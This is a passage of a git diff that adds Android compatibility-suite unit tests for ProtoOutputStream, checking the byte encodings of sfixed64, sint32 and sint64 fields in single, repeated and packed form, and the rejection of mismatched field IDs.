+        po.writePackedSFixed64(ProtoOutputStream.makeFieldId(1000, fieldFlags), null);
+        po.writePackedSFixed64(ProtoOutputStream.makeFieldId(1001, fieldFlags), new long[0]);
+        writePackedSFixed64(po, 1, 0);
+        writePackedSFixed64(po, 2, 1);
+        writePackedSFixed64(po, 3, -1);
+        writePackedSFixed64(po, 4, Integer.MIN_VALUE);
+        writePackedSFixed64(po, 5, Integer.MAX_VALUE);
+        writePackedSFixed64(po, 6, Long.MIN_VALUE);
+        writePackedSFixed64(po, 7, Long.MAX_VALUE);
+
+        final byte[] result = po.getBytes();
+        Assert.assertArrayEquals(new byte[] {
+                // 1 -> 0 - default value, written when repeated
+                (byte)0x0a,
+                (byte)0x10,
+                (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00,
+                (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00,
+                (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00,
+                (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00,
+                // 2 -> 1
+                (byte)0x12,
+                (byte)0x10,
+                (byte)0x01, (byte)0x00, (byte)0x00, (byte)0x00,
+                (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00,
+                (byte)0x01, (byte)0x00, (byte)0x00, (byte)0x00,
+                (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00,
+                // 3 -> -1
+                (byte)0x1a,
+                (byte)0x10,
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff,
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff,
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff,
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff,
+                // 4 -> Integer.MIN_VALUE
+                (byte)0x22,
+                (byte)0x10,
+                (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x80,
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff,
+                (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x80,
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff,
+                // 5 -> Integer.MAX_VALUE
+                (byte)0x2a,
+                (byte)0x10,
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0x7f,
+                (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00,
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0x7f,
+                (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00,
+                // 6 -> Long.MIN_VALUE
+                (byte)0x32,
+                (byte)0x10,
+                (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00,
+                (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x80,
+                (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00,
+                (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x80,
+                // 7 -> Long.MAX_VALUE
+                (byte)0x3a,
+                (byte)0x10,
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff,
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0x7f,
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff,
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0x7f,
+            }, result);
+    }
+
+    /**
+     * Test that writing a with ProtoOutputStream matches, and can be read by standard proto.
+     */
+    public void testPackedCompat() throws Exception {
+        testPackedCompat(new long[] {});
+        testPackedCompat(new long[] { 0, 1, -1, Integer.MIN_VALUE, Integer.MAX_VALUE,
+                Long.MIN_VALUE, Long.MAX_VALUE });
+    }
+
+    /**
+     * Implementation of testPackedSFixed64Compat with a given value.
+     */
+    public void testPackedCompat(long[] val) throws Exception {
+        final int fieldId = 122;
+        final long fieldFlags = ProtoOutputStream.FIELD_COUNT_PACKED | ProtoOutputStream.FIELD_TYPE_SFIXED64;
+
+        final Test.All all = new Test.All();
+        final ProtoOutputStream po = new ProtoOutputStream(0);
+
+        all.sfixed64FieldPacked = val;
+        po.writePackedSFixed64(ProtoOutputStream.makeFieldId(fieldId, fieldFlags), val);
+
+        final byte[] result = po.getBytes();
+        final byte[] expected = MessageNano.toByteArray(all);
+
+        Assert.assertArrayEquals(expected, result);
+
+        final Test.All readback = Test.All.parseFrom(result);
+
+        Assert.assertArrayEquals(val, readback.sfixed64FieldPacked);
+    }
+
+    /**
+     * Test that if you pass in the wrong type of fieldId, it throws.
+     */
+    public void testBadFieldIds() {
+        // Single
+
+        // Good Count / Bad Type
+        try {
+            final ProtoOutputStream po = new ProtoOutputStream();
+            po.writeSFixed64(ProtoOutputStream.makeFieldId(1,
+                        ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_DOUBLE), 0);
+        } catch (IllegalArgumentException ex) {
+            // good
+        }
+
+        // Bad Count / Good Type
+        try {
+            final ProtoOutputStream po = new ProtoOutputStream();
+            po.writeSFixed64(ProtoOutputStream.makeFieldId(1,
+                        ProtoOutputStream.FIELD_COUNT_PACKED | ProtoOutputStream.FIELD_TYPE_SFIXED64), 0);
+        } catch (IllegalArgumentException ex) {
+            // good
+        }
+
+        // Repeated
+
+        // Good Count / Bad Type
+        try {
+            final ProtoOutputStream po = new ProtoOutputStream();
+            po.writeRepeatedSFixed64(ProtoOutputStream.makeFieldId(1,
+                        ProtoOutputStream.FIELD_COUNT_REPEATED | ProtoOutputStream.FIELD_TYPE_DOUBLE), 0);
+        } catch (IllegalArgumentException ex) {
+            // good
+        }
+
+        // Bad Count / Good Type
+        try {
+            final ProtoOutputStream po = new ProtoOutputStream();
+            po.writeRepeatedSFixed64(ProtoOutputStream.makeFieldId(1,
+                        ProtoOutputStream.FIELD_COUNT_PACKED | ProtoOutputStream.FIELD_TYPE_SFIXED64), 0);
+        } catch (IllegalArgumentException ex) {
+            // good
+        }
+
+        // Packed
+
+        // Good Count / Bad Type
+        try {
+            final ProtoOutputStream po = new ProtoOutputStream();
+            po.writePackedSFixed64(ProtoOutputStream.makeFieldId(1,
+                        ProtoOutputStream.FIELD_COUNT_PACKED | ProtoOutputStream.FIELD_TYPE_DOUBLE),
+                    new long[0]);
+        } catch (IllegalArgumentException ex) {
+            // good
+        }
+
+        // Bad Count / Good Type
+        try {
+            final ProtoOutputStream po = new ProtoOutputStream();
+            po.writePackedSFixed64(ProtoOutputStream.makeFieldId(1,
+                        ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_SFIXED64),
+                    new long[0]);
+        } catch (IllegalArgumentException ex) {
+            // good
+        }
+    }
+}
diff --git a/tests/tests/proto/src/android/util/proto/cts/ProtoOutputStreamSInt32Test.java b/tests/tests/proto/src/android/util/proto/cts/ProtoOutputStreamSInt32Test.java
new file mode 100644
index 0000000..7487e3a
--- /dev/null
+++ b/tests/tests/proto/src/android/util/proto/cts/ProtoOutputStreamSInt32Test.java
@@ -0,0 +1,377 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.util.proto.cts;
+
+import android.util.proto.ProtoOutputStream;
+import android.util.proto.cts.nano.Test;
+
+import com.google.protobuf.nano.MessageNano;
+import junit.framework.TestCase;
+import org.junit.Assert;
+
+/**
+ * Test the sint32 methods on the ProtoOutputStream class.
+ */
+public class ProtoOutputStreamSInt32Test extends TestCase {
+
+    // ----------------------------------------------------------------------
+    //  writeSInt32
+    // ----------------------------------------------------------------------
+
+    /**
+     * Test writeSInt32.
+     */
+    public void testWrite() throws Exception {
+        testWrite(0);
+        testWrite(1);
+        testWrite(5);
+    }
+
+    /**
+     * Implementation of testWrite with a given chunkSize.
+     */
+    public void testWrite(int chunkSize) throws Exception {
+        final ProtoOutputStream po = new ProtoOutputStream(chunkSize);
+        final long fieldFlags = ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_SINT32;
+
+        po.writeSInt32(ProtoOutputStream.makeFieldId(1, fieldFlags), 0);
+        po.writeSInt32(ProtoOutputStream.makeFieldId(2, fieldFlags), 1);
+        po.writeSInt32(ProtoOutputStream.makeFieldId(3, fieldFlags), -1);
+        po.writeSInt32(ProtoOutputStream.makeFieldId(4, fieldFlags), Integer.MIN_VALUE);
+        po.writeSInt32(ProtoOutputStream.makeFieldId(5, fieldFlags), Integer.MAX_VALUE);
+
+        final byte[] result = po.getBytes();
+        Assert.assertArrayEquals(new byte[] {
+                // 1 -> 0 - default value, not written
+                // 2 -> 1
+                (byte)0x10,
+                (byte)0x02,
+                // 3 -> -1
+                (byte)0x18,
+                (byte)0x01,
+                // 4 -> MIN_VALUE
+                (byte)0x20,
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff, (byte)0x0f,
+                // 5 -> MAX_VALUE
+                (byte)0x28,
+                (byte)0xfe, (byte)0xff, (byte)0xff, (byte)0xff, (byte)0x0f,
+            }, result);
+    }
+
+    /**
+     * Test that writing a with ProtoOutputStream matches, and can be read by standard proto.
+     */
+    public void testWriteCompat() throws Exception {
+        testWriteCompat(0);
+        testWriteCompat(1);
+        testWriteCompat(-1);
+        testWriteCompat(Integer.MIN_VALUE);
+        testWriteCompat(Integer.MAX_VALUE);
+    }
+
+    /**
+     * Implementation of testWriteCompat with a given value.
+     */
+    public void testWriteCompat(int val) throws Exception {
+        final int fieldId = 70;
+        final long fieldFlags = ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_SINT32;
+
+        final Test.All all = new Test.All();
+        final ProtoOutputStream po = new ProtoOutputStream(0);
+
+        all.sint32Field = val;
+        po.writeSInt32(ProtoOutputStream.makeFieldId(fieldId, fieldFlags), val);
+
+        final byte[] result = po.getBytes();
+        final byte[] expected = MessageNano.toByteArray(all);
+
+        Assert.assertArrayEquals(expected, result);
+
+        final Test.All readback = Test.All.parseFrom(result);
+
+        assertEquals(val, readback.sint32Field);
+    }
+
+    // ----------------------------------------------------------------------
+    //  writeRepeatedSInt32
+    // ----------------------------------------------------------------------
+
+    /**
+     * Test writeSInt32.
+     */
+    public void testRepeated() throws Exception {
+        testRepeated(0);
+        testRepeated(1);
+        testRepeated(5);
+    }
+
+    /**
+     * Implementation of testRepeated with a given chunkSize.
+     */
+    public void testRepeated(int chunkSize) throws Exception {
+        final ProtoOutputStream po = new ProtoOutputStream(chunkSize);
+        final long fieldFlags = ProtoOutputStream.FIELD_COUNT_REPEATED | ProtoOutputStream.FIELD_TYPE_SINT32;
+
+        po.writeRepeatedSInt32(ProtoOutputStream.makeFieldId(1, fieldFlags), 0);
+        po.writeRepeatedSInt32(ProtoOutputStream.makeFieldId(2, fieldFlags), 1);
+        po.writeRepeatedSInt32(ProtoOutputStream.makeFieldId(3, fieldFlags), -1);
+        po.writeRepeatedSInt32(ProtoOutputStream.makeFieldId(4, fieldFlags), Integer.MIN_VALUE);
+        po.writeRepeatedSInt32(ProtoOutputStream.makeFieldId(5, fieldFlags), Integer.MAX_VALUE);
+
+        po.writeRepeatedSInt32(ProtoOutputStream.makeFieldId(1, fieldFlags), 0);
+        po.writeRepeatedSInt32(ProtoOutputStream.makeFieldId(2, fieldFlags), 1);
+        po.writeRepeatedSInt32(ProtoOutputStream.makeFieldId(3, fieldFlags), -1);
+        po.writeRepeatedSInt32(ProtoOutputStream.makeFieldId(4, fieldFlags), Integer.MIN_VALUE);
+        po.writeRepeatedSInt32(ProtoOutputStream.makeFieldId(5, fieldFlags), Integer.MAX_VALUE);
+
+        final byte[] result = po.getBytes();
+        Assert.assertArrayEquals(new byte[] {
+                // 1 -> 0 - default value, written when repeated
+                (byte)0x08,
+                (byte)0x00,
+                // 2 -> 1
+                (byte)0x10,
+                (byte)0x02,
+                // 3 -> -1
+                (byte)0x18,
+                (byte)0x01,
+                // 4 -> MIN_VALUE
+                (byte)0x20,
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff, (byte)0x0f,
+                // 5 -> MAX_VALUE
+                (byte)0x28,
+                (byte)0xfe, (byte)0xff, (byte)0xff, (byte)0xff, (byte)0x0f,
+
+                // 1 -> 0 - default value, written when repeated
+                (byte)0x08,
+                (byte)0x00,
+                // 2 -> 1
+                (byte)0x10,
+                (byte)0x02,
+                // 3 -> -1
+                (byte)0x18,
+                (byte)0x01,
+                // 4 -> MIN_VALUE
+                (byte)0x20,
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff, (byte)0x0f,
+                // 5 -> MAX_VALUE
+                (byte)0x28,
+                (byte)0xfe, (byte)0xff, (byte)0xff, (byte)0xff, (byte)0x0f,
+            }, result);
+    }
+
+    /**
+     * Test that writing a with ProtoOutputStream matches, and can be read by standard proto.
+     */
+    public void testRepeatedCompat() throws Exception {
+        testRepeatedCompat(new int[0]);
+        testRepeatedCompat(new int[] { 0, 1, -1, Integer.MIN_VALUE, Integer.MAX_VALUE });
+    }
+
+    /**
+     * Implementation of testRepeatedCompat with a given value.
+     */
+    public void testRepeatedCompat(int[] val) throws Exception {
+        final int fieldId = 71;
+        final long fieldFlags = ProtoOutputStream.FIELD_COUNT_REPEATED | ProtoOutputStream.FIELD_TYPE_SINT32;
+
+        final Test.All all = new Test.All();
+        final ProtoOutputStream po = new ProtoOutputStream(0);
+
+        all.sint32FieldRepeated = val;
+        for (int i=0; i<val.length; i++) {
+            po.writeRepeatedSInt32(ProtoOutputStream.makeFieldId(fieldId, fieldFlags), val[i]);
+        }
+
+        final byte[] result = po.getBytes();
+        final byte[] expected = MessageNano.toByteArray(all);
+
+        Assert.assertArrayEquals(expected, result);
+
+        final Test.All readback = Test.All.parseFrom(result);
+
+        assertNotNull(readback.sint32FieldRepeated);
+        assertEquals(val.length, readback.sint32FieldRepeated.length);
+        for (int i=0; i<val.length; i++) {
+            assertEquals(val[i], readback.sint32FieldRepeated[i]);
+        }
+    }
+
+    // ----------------------------------------------------------------------
+    //  writePackedSInt32
+    // ----------------------------------------------------------------------
+
+    /**
+     * Test writeSInt32.
+     */
+    public void testPacked() throws Exception {
+        testPacked(0);
+        testPacked(1);
+        testPacked(5);
+    }
+
+    /**
+     * Create an array of the val, and write it.
+     */
+    private void writePackedSInt32(ProtoOutputStream po, int fieldId, int val) {
+        final long fieldFlags = ProtoOutputStream.FIELD_COUNT_PACKED | ProtoOutputStream.FIELD_TYPE_SINT32;
+        po.writePackedSInt32(ProtoOutputStream.makeFieldId(fieldId, fieldFlags), new int[] { val, val });
+    }
+
+    /**
+     * Implementation of testPacked with a given chunkSize.
+     */
+    public void testPacked(int chunkSize) throws Exception {
+        final ProtoOutputStream po = new ProtoOutputStream(chunkSize);
+        final long fieldFlags = ProtoOutputStream.FIELD_COUNT_PACKED | ProtoOutputStream.FIELD_TYPE_SINT32;
+
+        po.writePackedSInt32(ProtoOutputStream.makeFieldId(1000, fieldFlags), null);
+        po.writePackedSInt32(ProtoOutputStream.makeFieldId(1001, fieldFlags), new int[0]);
+        writePackedSInt32(po, 1, 0);
+        writePackedSInt32(po, 2, 1);
+        writePackedSInt32(po, 3, -1);
+        writePackedSInt32(po, 4, Integer.MIN_VALUE);
+        writePackedSInt32(po, 5, Integer.MAX_VALUE);
+
+        final byte[] result = po.getBytes();
+        Assert.assertArrayEquals(new byte[] {
+                // 1 -> 0 - default value, written when repeated
+                (byte)0x0a,
+                (byte)0x02,
+                (byte)0x00,
+                (byte)0x00,
+                // 2 -> 1
+                (byte)0x12,
+                (byte)0x02,
+                (byte)0x02,
+                (byte)0x02,
+                // 3 -> -1
+                (byte)0x1a,
+                (byte)0x02,
+                (byte)0x01,
+                (byte)0x01,
+                // 4 -> MIN_VALUE
+                (byte)0x22,
+                (byte)0x0a,
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff, (byte)0x0f,
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff, (byte)0x0f,
+                // 5 -> MAX_VALUE
+                (byte)0x2a,
+                (byte)0x0a,
+                (byte)0xfe, (byte)0xff, (byte)0xff, (byte)0xff, (byte)0x0f,
+                (byte)0xfe, (byte)0xff, (byte)0xff, (byte)0xff, (byte)0x0f,
+            }, result);
+    }
+
+    /**
+     * Test that writing a with ProtoOutputStream matches, and can be read by standard proto.
+     */
+    public void testPackedCompat() throws Exception {
+        testPackedCompat(new int[] {});
+        testPackedCompat(new int[] { 0, 1, -1, Integer.MIN_VALUE, Integer.MAX_VALUE });
+    }
+
+    /**
+     * Implementation of testPackedSInt32Compat with a given value.
+     */
+    public void testPackedCompat(int[] val) throws Exception {
+        final int fieldId = 72;
+        final long fieldFlags = ProtoOutputStream.FIELD_COUNT_PACKED | ProtoOutputStream.FIELD_TYPE_SINT32;
+
+        final Test.All all = new Test.All();
+        final ProtoOutputStream po = new ProtoOutputStream(0);
+
+        all.sint32FieldPacked = val;
+        po.writePackedSInt32(ProtoOutputStream.makeFieldId(fieldId, fieldFlags), val);
+
+        final byte[] result = po.getBytes();
+        final byte[] expected = MessageNano.toByteArray(all);
+
+        Assert.assertArrayEquals(expected, result);
+
+        final Test.All readback = Test.All.parseFrom(result);
+
+        Assert.assertArrayEquals(val, readback.sint32FieldPacked);
+    }
+
+    /**
+     * Test that if you pass in the wrong type of fieldId, it throws.
+     */
+    public void testBadFieldIds() {
+        // Single
+
+        // Good Count / Bad Type
+        try {
+            final ProtoOutputStream po = new ProtoOutputStream();
+            po.writeSInt32(ProtoOutputStream.makeFieldId(1,
+                        ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_DOUBLE), 0);
+        } catch (IllegalArgumentException ex) {
+            // good
+        }
+
+        // Bad Count / Good Type
+        try {
+            final ProtoOutputStream po = new ProtoOutputStream();
+            po.writeSInt32(ProtoOutputStream.makeFieldId(1,
+                        ProtoOutputStream.FIELD_COUNT_PACKED | ProtoOutputStream.FIELD_TYPE_SINT32), 0);
+        } catch (IllegalArgumentException ex) {
+            // good
+        }
+
+        // Repeated
+
+        // Good Count / Bad Type
+        try {
+            final ProtoOutputStream po = new ProtoOutputStream();
+            po.writeRepeatedSInt32(ProtoOutputStream.makeFieldId(1,
+                        ProtoOutputStream.FIELD_COUNT_REPEATED | ProtoOutputStream.FIELD_TYPE_DOUBLE), 0);
+        } catch (IllegalArgumentException ex) {
+            // good
+        }
+
+        // Bad Count / Good Type
+        try {
+            final ProtoOutputStream po = new ProtoOutputStream();
+            po.writeRepeatedSInt32(ProtoOutputStream.makeFieldId(1,
+                        ProtoOutputStream.FIELD_COUNT_PACKED | ProtoOutputStream.FIELD_TYPE_SINT32), 0);
+        } catch (IllegalArgumentException ex) {
+            // good
+        }
+
+        // Packed
+
+        // Good Count / Bad Type
+        try {
+            final ProtoOutputStream po = new ProtoOutputStream();
+            po.writePackedSInt32(ProtoOutputStream.makeFieldId(1,
+                        ProtoOutputStream.FIELD_COUNT_PACKED | ProtoOutputStream.FIELD_TYPE_DOUBLE),
+                    new int[0]);
+        } catch (IllegalArgumentException ex) {
+            // good
+        }
+
+        // Bad Count / Good Type
+        try {
+            final ProtoOutputStream po = new ProtoOutputStream();
+            po.writePackedSInt32(ProtoOutputStream.makeFieldId(1,
+                        ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_SINT32),
+                    new int[0]);
+        } catch (IllegalArgumentException ex) {
+            // good
+        }
+    }
+}
diff --git a/tests/tests/proto/src/android/util/proto/cts/ProtoOutputStreamSInt64Test.java b/tests/tests/proto/src/android/util/proto/cts/ProtoOutputStreamSInt64Test.java
new file mode 100644
index 0000000..33d4ab0
--- /dev/null
+++ b/tests/tests/proto/src/android/util/proto/cts/ProtoOutputStreamSInt64Test.java
@@ -0,0 +1,432 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.util.proto.cts;
+
+import android.util.proto.ProtoOutputStream;
+import android.util.proto.cts.nano.Test;
+
+import com.google.protobuf.nano.MessageNano;
+import junit.framework.TestCase;
+import org.junit.Assert;
+
+/**
+ * Test the sint64 methods on the ProtoOutputStream class.
+ */
+public class ProtoOutputStreamSInt64Test extends TestCase {
+
+    // ----------------------------------------------------------------------
+    //  writeSInt64
+    // ----------------------------------------------------------------------
+
+    /**
+     * Test writeSInt64.
+     */
+    public void testWrite() throws Exception {
+        testWrite(0);
+        testWrite(1);
+        testWrite(5);
+    }
+
+    /**
+     * Implementation of testWrite with a given chunkSize.
+     */
+    public void testWrite(int chunkSize) throws Exception {
+        final ProtoOutputStream po = new ProtoOutputStream(chunkSize);
+        final long fieldFlags = ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_SINT64;
+
+        po.writeSInt64(ProtoOutputStream.makeFieldId(1, fieldFlags), 0);
+        po.writeSInt64(ProtoOutputStream.makeFieldId(2, fieldFlags), 1);
+        po.writeSInt64(ProtoOutputStream.makeFieldId(3, fieldFlags), -1);
+        po.writeSInt64(ProtoOutputStream.makeFieldId(4, fieldFlags), Integer.MIN_VALUE);
+        po.writeSInt64(ProtoOutputStream.makeFieldId(5, fieldFlags), Integer.MAX_VALUE);
+        po.writeSInt64(ProtoOutputStream.makeFieldId(6, fieldFlags), Long.MIN_VALUE);
+        po.writeSInt64(ProtoOutputStream.makeFieldId(7, fieldFlags), Long.MAX_VALUE);
+
+
+        final byte[] result = po.getBytes();
+        Assert.assertArrayEquals(new byte[] {
+                // 1 -> 0 - default value, not written
+                // 2 -> 1
+                (byte)0x10,
+                (byte)0x02,
+                // 3 -> -1
+                (byte)0x18,
+                (byte)0x01,
+                // 4 -> Integer.MIN_VALUE
+                (byte)0x20,
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff, (byte)0x0f,
+                // 5 -> Integer.MAX_VALUE
+                (byte)0x28,
+                (byte)0xfe, (byte)0xff, (byte)0xff, (byte)0xff, (byte)0x0f,
+                // 6 -> Long.MIN_VALUE
+                (byte)0x30,
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff,
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff, (byte)0x01,
+                // 7 -> Long.MAX_VALUE
+                (byte)0x38,
+                (byte)0xfe, (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff,
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff, (byte)0x01,
+            }, result);
+    }
+
+    /**
+     * Test that writing a with ProtoOutputStream matches, and can be read by standard proto.
+     */
+    public void testWriteCompat() throws Exception {
+        testWriteCompat(0);
+        testWriteCompat(1);
+        testWriteCompat(-1);
+        testWriteCompat(Integer.MIN_VALUE);
+        testWriteCompat(Integer.MAX_VALUE);
+        testWriteCompat(Long.MIN_VALUE);
+        testWriteCompat(Long.MAX_VALUE);
+    }
+
+    /**
+     * Implementation of testWriteCompat with a given value.
+     */
+    public void testWriteCompat(long val) throws Exception {
+        final int fieldId = 80;
+        final long fieldFlags = ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_SINT64;
+
+        final Test.All all = new Test.All();
+        final ProtoOutputStream po = new ProtoOutputStream(0);
+
+        all.sint64Field = val;
+        po.writeSInt64(ProtoOutputStream.makeFieldId(fieldId, fieldFlags), val);
+
+        final byte[] result = po.getBytes();
+        final byte[] expected = MessageNano.toByteArray(all);
+
+        Assert.assertArrayEquals(expected, result);
+
+        final Test.All readback = Test.All.parseFrom(result);
+
+        assertEquals(val, readback.sint64Field);
+    }
+
+    // ----------------------------------------------------------------------
+    //  writeRepeatedSInt64
+    // ----------------------------------------------------------------------
+
+    /**
+     * Test writeSInt64.
+     */
+    public void testRepeated() throws Exception {
+        testRepeated(0);
+        testRepeated(1);
+        testRepeated(5);
+    }
+
+    /**
+     * Implementation of testRepeated with a given chunkSize.
+     */
+    public void testRepeated(int chunkSize) throws Exception {
+        final ProtoOutputStream po = new ProtoOutputStream(chunkSize);
+        final long fieldFlags = ProtoOutputStream.FIELD_COUNT_REPEATED | ProtoOutputStream.FIELD_TYPE_SINT64;
+
+        po.writeRepeatedSInt64(ProtoOutputStream.makeFieldId(1, fieldFlags), 0);
+        po.writeRepeatedSInt64(ProtoOutputStream.makeFieldId(2, fieldFlags), 1);
+        po.writeRepeatedSInt64(ProtoOutputStream.makeFieldId(3, fieldFlags), -1);
+        po.writeRepeatedSInt64(ProtoOutputStream.makeFieldId(4, fieldFlags), Integer.MIN_VALUE);
+        po.writeRepeatedSInt64(ProtoOutputStream.makeFieldId(5, fieldFlags), Integer.MAX_VALUE);
+        po.writeRepeatedSInt64(ProtoOutputStream.makeFieldId(6, fieldFlags), Long.MIN_VALUE);
+        po.writeRepeatedSInt64(ProtoOutputStream.makeFieldId(7, fieldFlags), Long.MAX_VALUE);
+
+        po.writeRepeatedSInt64(ProtoOutputStream.makeFieldId(1, fieldFlags), 0);
+        po.writeRepeatedSInt64(ProtoOutputStream.makeFieldId(2, fieldFlags), 1);
+        po.writeRepeatedSInt64(ProtoOutputStream.makeFieldId(3, fieldFlags), -1);
+        po.writeRepeatedSInt64(ProtoOutputStream.makeFieldId(4, fieldFlags), Integer.MIN_VALUE);
+        po.writeRepeatedSInt64(ProtoOutputStream.makeFieldId(5, fieldFlags), Integer.MAX_VALUE);
+        po.writeRepeatedSInt64(ProtoOutputStream.makeFieldId(6, fieldFlags), Long.MIN_VALUE);
+        po.writeRepeatedSInt64(ProtoOutputStream.makeFieldId(7, fieldFlags), Long.MAX_VALUE);
+
+        final byte[] result = po.getBytes();
+        Assert.assertArrayEquals(new byte[] {
+                // 1 -> 0 - default value, written when repeated
+                (byte)0x08,
+                (byte)0x00,
+                // 2 -> 1
+                (byte)0x10,
+                (byte)0x02,
+                // 3 -> -1
+                (byte)0x18,
+                (byte)0x01,
+                // 4 -> Integer.MIN_VALUE
+                (byte)0x20,
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff, (byte)0x0f,
+                // 5 -> Integer.MAX_VALUE
+                (byte)0x28,
+                (byte)0xfe, (byte)0xff, (byte)0xff, (byte)0xff, (byte)0x0f,
+                // 6 -> Long.MIN_VALUE
+                (byte)0x30,
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff,
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff, (byte)0x01,
+                // 7 -> Long.MAX_VALUE
+                (byte)0x38,
+                (byte)0xfe, (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff,
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff, (byte)0x01,
+
+
+                // 1 -> 0 - default value, written when repeated
+                (byte)0x08,
+                (byte)0x00,
+                // 2 -> 1
+                (byte)0x10,
+                (byte)0x02,
+                // 3 -> -1
+                (byte)0x18,
+                (byte)0x01,
+                // 4 -> Integer.MIN_VALUE
+                (byte)0x20,
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff, (byte)0x0f,
+                // 5 -> Integer.MAX_VALUE
+                (byte)0x28,
+                (byte)0xfe, (byte)0xff, (byte)0xff, (byte)0xff, (byte)0x0f,
+                // 6 -> Long.MIN_VALUE
+                (byte)0x30,
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff,
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff, (byte)0x01,
+                // 7 -> Long.MAX_VALUE
+                (byte)0x38,
+                (byte)0xfe, (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff,
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff, (byte)0x01,
+            }, result);
+    }
+
+    /**
+     * Test that writing a with ProtoOutputStream matches, and can be read by standard proto.
+     */
+    public void testRepeatedCompat() throws Exception {
+        testRepeatedCompat(new long[0]);
+        testRepeatedCompat(new long[] { 0, 1, -1, Integer.MIN_VALUE, Integer.MAX_VALUE,
+                Long.MIN_VALUE, Long.MAX_VALUE });
+    }
+
+    /**
+     * Implementation of testRepeatedCompat with a given value.
+     */
+    public void testRepeatedCompat(long[] val) throws Exception {
+        final int fieldId = 81;
+        final long fieldFlags = ProtoOutputStream.FIELD_COUNT_REPEATED | ProtoOutputStream.FIELD_TYPE_SINT64;
+
+        final Test.All all = new Test.All();
+        final ProtoOutputStream po = new ProtoOutputStream(0);
+
+        all.sint64FieldRepeated = val;
+        for (int i=0; i<val.length; i++) {
+            po.writeRepeatedSInt64(ProtoOutputStream.makeFieldId(fieldId, fieldFlags), val[i]);
+        }
+
+        final byte[] result = po.getBytes();
+        final byte[] expected = MessageNano.toByteArray(all);
+
+        Assert.assertArrayEquals(expected, result);
+
+        final Test.All readback = Test.All.parseFrom(result);
+
+        assertNotNull(readback.sint64FieldRepeated);
+        assertEquals(val.length, readback.sint64FieldRepeated.length);
+        for (int i=0; i<val.length; i++) {
+            assertEquals(val[i], readback.sint64FieldRepeated[i]);
+        }
+    }
+
+    // ----------------------------------------------------------------------
+    //  writePackedSInt64
+    // ----------------------------------------------------------------------
+
+    /**
+     * Test writeSInt64.
+     */
+    public void testPacked() throws Exception {
+        testPacked(0);
+        testPacked(1);
+        testPacked(5);
+    }
+
